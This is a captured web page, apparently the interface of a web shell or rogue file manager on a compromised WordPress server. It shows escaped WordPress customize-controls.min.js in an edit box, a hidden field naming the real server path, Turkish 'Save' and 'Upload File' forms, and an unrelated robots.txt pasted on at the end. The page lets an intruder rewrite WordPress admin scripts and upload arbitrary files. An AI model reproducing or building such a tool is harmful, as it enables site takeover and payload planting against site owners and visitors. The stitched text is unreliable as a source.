e,t;D&amp;&amp;(e=P.scrollTop(),t=N?e===N?0:N&lt;e?1:-1:1,N=e,0!==t)&amp;&amp;B(D,e,t)},8)),Y.notifications.bind(&quot;sidebarTopUpdated&quot;,function(){D&amp;&amp;D.element.hasClass(&quot;is-sticky&quot;)&amp;&amp;D.element.css(&quot;top&quot;,P.css(&quot;top&quot;))}),j=function(e){e.hasClass(&quot;is-sticky&quot;)&amp;&amp;e.removeClass(&quot;is-sticky&quot;).addClass(&quot;maybe-sticky is-in-view&quot;).css(&quot;top&quot;,P.scrollTop()+&quot;px&quot;)},q=function(e,t){e.hasClass(&quot;is-in-view&quot;)&amp;&amp;(e.removeClass(&quot;maybe-sticky is-in-view&quot;).css({width:&quot;&quot;,top:&quot;&quot;}),t.css(&quot;padding-top&quot;,&quot;&quot;))},E=function(){D.height=D.element.outerHeight()},B=function(e,t,n){var i=e.element,a=e.parent,e=e.height,o=parseInt(i.css(&quot;top&quot;),10),s=i.hasClass(&quot;maybe-sticky&quot;),r=i.hasClass(&quot;is-sticky&quot;),c=i.hasClass(&quot;is-in-view&quot;);if(-1===n){if(!s&amp;&amp;e&lt;=t)s=!0,i.addClass(&quot;maybe-sticky&quot;);else if(0===t)return i.removeClass(&quot;maybe-sticky is-in-view is-sticky&quot;).css({top:&quot;&quot;,width:&quot;&quot;}),void a.css(&quot;padding-top&quot;,&quot;&quot;);c&amp;&amp;!r?t&lt;=o&amp;&amp;i.addClass(&quot;is-sticky&quot;).css({top:P.css(&quot;top&quot;),width:a.outerWidth()+&quot;px&quot;}):s&amp;&amp;!c&amp;&amp;(i.addClass(&quot;is-in-view&quot;).css(&quot;top&quot;,t-e+&quot;px&quot;),a.css(&quot;padding-top&quot;,e+&quot;px&quot;))}else r&amp;&amp;(o=t,i.removeClass(&quot;is-sticky&quot;).css({top:o+&quot;px&quot;,width:&quot;&quot;})),c&amp;&amp;o+e&lt;t&amp;&amp;(i.removeClass(&quot;is-in-view&quot;),a.css(&quot;padding-top&quot;,&quot;&quot;))},Y.previewedDevice=Y.state(&quot;previewedDevice&quot;),Y.bind(&quot;ready&quot;,function(){_.find(Y.settings.previewableDevices,function(e,t){if(!0===e.default)return Y.previewedDevice.set(t),!0})}),a.find(&quot;.devices button&quot;).on(&quot;click&quot;,function(e){Y.previewedDevice.set(J(e.currentTarget).data(&quot;device&quot;))}),Y.previewedDevice.bind(function(e){var t=J(&quot;.wp-full-overlay&quot;),n=&quot;&quot;;a.find(&quot;.devices button&quot;).removeClass(&quot;active&quot;).attr(&quot;aria-pressed&quot;,!1),a.find(&quot;.devices .preview-&quot;+e).addClass(&quot;active&quot;).attr(&quot;aria-pressed&quot;,!0),J.each(Y.settings.previewableDevices,function(e){n+=&quot; preview-&quot;+e}),t.removeClass(n).addClass(&quot;preview-&quot;+e)}),n.length&amp;&amp;Y(&quot;blogname&quot;,function(t){function e(){var e=t()||&quot;&quot;;n.text(e.toString().trim()||Y.l10n.untitledBlogName)}t.bind(e),e()}),h=new Y.Messenger({url:Y.settings.url.parent,channel:&quot;loader&quot;}),U=!1,h.bind(&quot;back&quot;,function(){U=!0}),Y.bind(&quot;change&quot;,V),Y.state(&quot;selectedChangesetStatus&quot;).bind(V),Y.state(&quot;selectedChangesetDate&quot;).bind(V),h.bind(&quot;confirm-close&quot;,function(){$().done(function(){h.send(&quot;confirmed-close&quot;,!0)}).fail(function(){h.send(&quot;confirmed-close&quot;,!1)})}),i.on(&quot;click.customize-controls-close&quot;,function(e){e.preventDefault(),U?h.send(&quot;close&quot;):$().done(function(){J(window).off(&quot;beforeunload.customize-confirm&quot;),window.location.href=i.prop(&quot;href&quot;)})}),J.each([&quot;saved&quot;,&quot;change&quot;],function(e,t){Y.bind(t,function(){h.send(t)})}),Y.bind(&quot;title&quot;,function(e){h.send(&quot;title&quot;,e)}),Y.settings.changeset.branching&amp;&amp;h.send(&quot;changeset-uuid&quot;,Y.settings.changeset.uuid),h.send(&quot;ready&quot;),J.each({background_image:{controls:[&quot;background_preset&quot;,&quot;background_position&quot;,&quot;background_size&quot;,&quot;background_repeat&quot;,&quot;background_attachment&quot;],callback:function(e){return!!e}},show_on_front:{controls:[&quot;page_on_front&quot;,&quot;page_for_posts&quot;],callback:function(e){return&quot;page&quot;===e}},header_textcolor:{controls:[&quot;header_textcolor&quot;],callback:function(e){return&quot;blank&quot;!==e}}},function(e,i){Y(e,function(n){J.each(i.controls,function(e,t){Y.control(t,function(t){function e(e){t.container.toggle(i.callback(e))}e(n.get()),n.bind(e)})})})}),Y.control(&quot;background_preset&quot;,function(e){var i={default:[!1,!1,!1,!1],fill:[!0,!1,!1,!1],fit:[!0,!1,!0,!1],repeat:[!0,!1,!1,!0],custom:[!0,!0,!0,!0]},a={default:[_wpCustomizeBackground.defaults[&quot;default-position-x&quot;],_wpCustomizeBackground.defaults[&quot;default-position-y&quot;],_wpCustomizeBackground.defaults[&quot;default-size&quot;],_wpCustomizeBackground.defaults[&quot;default-repeat&quot;],_wpCustomizeBackground.defaults[&quot;default-attachment&quot;]],fill:[&quot;left&quot;,&quot;top&quot;,&quot;cover&quot;,&quot;no-repeat&quot;,&quot;fixed&quot;],fit:[&quot;left&quot;,&quot;top&quot;,&quot;contain&quot;,&quot;no-repeat&quot;,&quot;fixed&quot;],repeat:[&quot;left&quot;,&quot;top&quot;,&quot;auto&quot;,&quot;repeat&quot;,&quot;scroll&quot;]},t=function(n){_.each([&quot;background_position&quot;,&quot;background_size&quot;,&quot;background_repeat&quot;,&quot;background_attachment&quot;],function(e,t){e=Y.control(e);e&amp;&amp;e.container.toggle(i[n][t])})},n=function(n){_.each([&quot;background_position_x&quot;,&quot;background_position_y&quot;,&quot;background_size&quot;,&quot;background_repeat&quot;,&quot;background_attachment&quot;],function(e,t){e=Y(e);e&amp;&amp;e.set(a[n][t])})},o=e.setting.get();t(o),e.setting.bind(&quot;change&quot;,function(e){t(e),&quot;custom&quot;!==e&amp;&amp;n(e)})}),Y.control(&quot;background_repeat&quot;,function(t){t.elements[0].unsync(Y(&quot;background_repeat&quot;)),t.element=new Y.Element(t.container.find(&quot;input&quot;)),t.element.set(&quot;no-repeat&quot;!==t.setting()),t.element.bind(function(e){t.setting.set(e?&quot;repeat&quot;:&quot;no-repeat&quot;)}),t.setting.bind(function(e){t.element.set(&quot;no-repeat&quot;!==e)})}),Y.control(&quot;background_attachment&quot;,function(t){t.elements[0].unsync(Y(&quot;background_attachment&quot;)),t.element=new Y.Element(t.container.find(&quot;input&quot;)),t.element.set(&quot;fixed&quot;!==t.setting()),t.element.bind(function(e){t.setting.set(e?&quot;scroll&quot;:&quot;fixed&quot;)}),t.setting.bind(function(e){t.element.set(&quot;fixed&quot;!==e)})}),Y.control(&quot;display_header_text&quot;,function(t){var n=&quot;&quot;;t.elements[0].unsync(Y(&quot;header_textcolor&quot;)),t.element=new Y.Element(t.container.find(&quot;input&quot;)),t.element.set(&quot;blank&quot;!==t.setting()),t.element.bind(function(e){e||(n=Y(&quot;header_textcolor&quot;).get()),t.setting.set(e?n:&quot;blank&quot;)}),t.setting.bind(function(e){t.element.set(&quot;blank&quot;!==e)})}),Y(&quot;show_on_front&quot;,&quot;page_on_front&quot;,&quot;page_for_posts&quot;,function(i,a,o){function e(){var e=&quot;show_on_front_page_collision&quot;,t=parseInt(a(),10),n=parseInt(o(),10);&quot;page&quot;===i()&amp;&amp;(this===a&amp;&amp;0&lt;t&amp;&amp;Y.previewer.previewUrl.set(Y.settings.url.home),this===o)&amp;&amp;0&lt;n&amp;&amp;Y.previewer.previewUrl.set(Y.settings.url.home+&quot;?page_id=&quot;+n),&quot;page&quot;===i()&amp;&amp;t&amp;&amp;n&amp;&amp;t===n?i.notifications.add(new Y.Notification(e,{type:&quot;error&quot;,message:Y.l10n.pageOnFrontError})):i.notifications.remove(e)}i.bind(e),a.bind(e),o.bind(e),e.call(i,i()),Y.control(&quot;show_on_front&quot;,function(e){e.deferred.embedded.done(function(){e.container.append(e.getNotificationsContainerElement())})})}),A=J.Deferred(),Y.section(&quot;custom_css&quot;,function(t){t.deferred.embedded.done(function(){t.expanded()?A.resolve(t):t.expanded.bind(function(e){e&amp;&amp;A.resolve(t)})})}),A.done(function(e){var t=Y.control(&quot;custom_css&quot;);t.container.find(&quot;.customize-control-title:first&quot;).addClass(&quot;screen-reader-text&quot;),e.container.find(&quot;.section-description-buttons .section-description-close&quot;).on(&quot;click&quot;,function(){e.container.find(&quot;.section-meta .customize-section-description:first&quot;).removeClass(&quot;open&quot;).slideUp(),e.container.find(&quot;.customize-help-toggle&quot;).attr(&quot;aria-expanded&quot;,&quot;false&quot;).focus()}),t&amp;&amp;!t.setting.get()&amp;&amp;(e.container.find(&quot;.section-meta .customize-section-description:first&quot;).addClass(&quot;open&quot;).show().trigger(&quot;toggled&quot;),e.container.find(&quot;.customize-help-toggle&quot;).attr(&quot;aria-expanded&quot;,&quot;true&quot;))}),Y.control(&quot;header_video&quot;,function(n){n.deferred.embedded.done(function(){function e(){var e=Y.section(n.section()),t=&quot;video_header_not_available&quot;;e&amp;&amp;(n.active.get()?e.notifications.remove(t):e.notifications.add(new Y.Notification(t,{type:&quot;info&quot;,message:Y.l10n.videoHeaderNotice})))}e(),n.active.bind(e)})}),Y.previewer.bind(&quot;selective-refresh-setting-validities&quot;,function(e){Y._handleSettingValidities({settingValidities:e,focusInvalidControl:!1})}),Y.previewer.bind(&quot;focus-control-for-setting&quot;,function(n){var i=[];Y.control.each(function(e){var t=_.pluck(e.settings,&quot;id&quot;);-1!==_.indexOf(t,n)&amp;&amp;i.push(e)}),i.length&amp;&amp;(i.sort(function(e,t){return e.priority()-t.priority()}),i[0].focus())}),Y.previewer.bind(&quot;refresh&quot;,function(){Y.previewer.refresh()}),Y.state(&quot;paneVisible&quot;).bind(function(e){var t=window.matchMedia?window.matchMedia(&quot;screen and ( max-width: 640px )&quot;).matches:J(window).width()&lt;=640;Y.state(&quot;editShortcutVisibility&quot;).set(e||t?&quot;visible&quot;:&quot;hidden&quot;)}),window.matchMedia&amp;&amp;window.matchMedia(&quot;screen and ( max-width: 640px )&quot;).addListener(function(){var e=Y.state(&quot;paneVisible&quot;);e.callbacks.fireWith(e,[e.get(),e.get()])}),Y.previewer.bind(&quot;edit-shortcut-visibility&quot;,function(e){Y.state(&quot;editShortcutVisibility&quot;).set(e)}),Y.state(&quot;editShortcutVisibility&quot;).bind(function(e){Y.previewer.send(&quot;edit-shortcut-visibility&quot;,e)}),Y.bind(&quot;change&quot;,function e(){var t,n,i,a=!1;function o(e){e||Y.settings.changeset.autosaved||(Y.settings.changeset.autosaved=!0,Y.previewer.send(&quot;autosaving&quot;))}Y.unbind(&quot;change&quot;,e),Y.state(&quot;saved&quot;).bind(o),o(Y.state(&quot;saved&quot;).get()),n=function(){a||(a=!0,Y.requestChangesetUpdate({},{autosave:!0}).always(function(){a=!1})),i()},(i=function(){clearTimeout(t),t=setTimeout(function(){n()},Y.settings.timeouts.changesetAutoSave)})(),J(document).on(&quot;visibilitychange.wp-customize-changeset-update&quot;,function(){document.hidden&amp;&amp;n()}),J(window).on(&quot;beforeunload.wp-customize-changeset-update&quot;,function(){n()})}),J(document).one(&quot;tinymce-editor-setup&quot;,function(){window.tinymce.ui.FloatPanel&amp;&amp;(!window.tinymce.ui.FloatPanel.zIndex||window.tinymce.ui.FloatPanel.zIndex&lt;500001)&amp;&amp;(window.tinymce.ui.FloatPanel.zIndex=500001)}),o.addClass(&quot;ready&quot;),Y.trigger(&quot;ready&quot;))})}((wp,jQuery));</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/website_d7f7f658/wp-admin/js/customize-controls.min.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form>User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php

Sitemap: https://haggai-bf.org/wp-sitemap.xml
